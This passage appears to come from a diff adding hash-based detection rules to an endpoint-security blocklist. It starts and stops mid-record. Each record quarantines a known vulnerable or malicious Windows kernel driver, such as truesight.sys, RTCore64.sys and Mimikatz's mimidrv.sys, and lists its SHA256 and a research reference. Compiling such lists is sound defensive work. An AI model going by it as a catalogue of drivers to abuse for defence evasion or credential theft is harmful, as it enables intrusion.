+  "hl_testing_start_time": "2026-03-23T11:45:29.979682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0801ade5de44b65afb8c275e11e4d766ae64af1a5740ad4f1db1acc4e088774",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20c54db1-d889-57e5-9206-e0f68a9851f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489403Z",
+  "creation_date": "2026-03-23T11:45:31.489406Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489413Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c9e1cdedf76956540458a3dbf153c833e54201deea1ab22c08ad6725ed9f19a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20d24f85-d917-5141-8d3e-e34155d9ef51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830132Z",
+  "creation_date": "2026-03-23T11:45:30.830134Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89021b58a0f068b2d54c7136583224a43a33e2547b5a1aa40a871d9f9731ef73",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20d378f6-b625-51fc-924c-a9eae74ae3bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146367Z",
+  "creation_date": "2026-03-23T11:45:31.146369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60cfdb1641547fa688a114639b6bff13742fc8bb61b85c30d2bf9952c0e3359f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20d5f906-da44-5d2f-9b2c-12d47ab3c975",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817035Z",
+  "creation_date": "2026-03-23T11:45:30.817037Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817042Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a0b10a9e662a0b0eeb951ffd2a82cc71d30939a78daebd26b3f58bb24351ac9",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20e06026-add4-5071-b373-9b0a5cbcac7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831918Z",
+  "creation_date": "2026-03-23T11:45:30.831920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831926Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6c32bb6d976f5f7125d01f30f6e76d0fb6e4c5a33d1bba1d79e30f7dec52274",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20e5e827-9eb5-5bb0-a3af-cbdb55d8620a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453283Z",
+  "creation_date": "2026-03-23T11:45:30.453286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453296Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a15325e9e6b8e4192291deb56c20c558dde3f96eb682c6e90952844edb984a00",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "20f4b53d-3503-52ad-a6ca-74263f59004c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148809Z",
+  "creation_date": "2026-03-23T11:45:31.148812Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148820Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f909d9bf3f0974d6ecda2956d7c2c3c39e693c01550bebed05ee1cf02091eff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2103dd29-832b-557e-a9d0-b8fc4341aa85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622437Z",
+  "creation_date": "2026-03-23T11:45:29.622441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622447Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f9530c94b689f39cc83377d76979d443275012e022782a600dcb5cad4cca6aa",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "210706cb-6d84-563b-b5c5-14fe6c91aa97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819777Z",
+  "creation_date": "2026-03-23T11:45:30.819779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819785Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77da3e8c5d70978b287d433ae1e1236c895b530a8e1475a9a190cdcc06711d2f",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21103903-e415-5430-ae82-59bbd377f7b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611062Z",
+  "creation_date": "2026-03-23T11:45:29.611064Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611069Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36729c2c714e05ebf9bc7262bc7f0d5d25d9dc9c8e0c4fdce27143bbdd9d9aa7",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2113e119-a16e-5f6b-b4a7-f50c34a99ed5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816491Z",
+  "creation_date": "2026-03-23T11:45:30.816493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "783a127c470a136b07a41bdaf2d78a8e4e73c3fca1a124d33d5f8653ef887d30",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2118f218-c663-5734-a2fd-3d26fc521c1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820460Z",
+  "creation_date": "2026-03-23T11:45:30.820462Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820468Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebe114a72d27b5abf47e17137dbb85f52ca987c8bb80ea709eb3293c9637f73c",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "212343ec-985b-5528-b2dc-d836b03015fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605594Z",
+  "creation_date": "2026-03-23T11:45:29.605596Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605601Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c18b6993154fa0e24d15726c50e8325d32381020786ce22eb1b71184d95af481",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21290020-1544-54d2-a09d-016502eae338",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453133Z",
+  "creation_date": "2026-03-23T11:45:30.453136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c2f1e2b0cc4da128feb73a6b9dd040df8495fefe861d69c9f44778c6ddb9b9b",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "21348137-f6d8-5ef9-8ac9-0021786a1c32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620900Z",
+  "creation_date": "2026-03-23T11:45:29.620902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748",
+  "comment": "Phoenix Technologies Vulnerable Physmem drivers (aka Agent64.sys) [https://www.loldrivers.io/drivers/5943b267-64f3-40d4-8669-354f23dec122/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2134d7da-132a-56af-a8b2-2a040f4ac486",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824115Z",
+  "creation_date": "2026-03-23T11:45:30.824117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "394a05770de545620828504403f8a746e5cc1f26d4363317c0497e4b0310b5e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2148fea8-7aa1-5201-9617-28343f8c4743",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608086Z",
+  "creation_date": "2026-03-23T11:45:29.608088Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608093Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "918d2e68a724b58d37443aea159e70bf8b1b5ebb089c395cad1d62745ecdaa19",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "214e02e9-7fc2-5448-9b0b-c55263ae7f74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489726Z",
+  "creation_date": "2026-03-23T11:45:31.489729Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b355ff97defd226c9b79f92283c940f9d00bfda1b629dc70c761bf044b7ac8c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2159d869-033a-50c0-9bb7-df80e62a39a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820911Z",
+  "creation_date": "2026-03-23T11:45:30.820913Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820919Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6801e845d380c809d0da8c7a5d3cd2faa382875ae72f5f7af667a34df25fbf7",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2166c90d-2cda-581a-9642-dad07271ef8f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468527Z",
+  "creation_date": "2026-03-23T11:45:30.468530Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468539Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "047e4158225af627382c412fa1f870479a238841341bc13e60312269feb14083",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "216d41f7-eac1-55bd-b87c-b9f5f6d6bf88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970564Z",
+  "creation_date": "2026-03-23T11:45:29.970566Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "557d6eb7550b038a3d92832b6218d5e6be72f490958f4ffa87ccd821f8866c3c",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "217915dd-6f83-5c72-9f46-81b8c72200ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472810Z",
+  "creation_date": "2026-03-23T11:45:31.472814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472821Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "197144bb4d00a04d2860594096b3db45e86581bca9beb131fca69227a2761ccb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "217adcd7-950f-5155-be70-a796ef3fc846",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
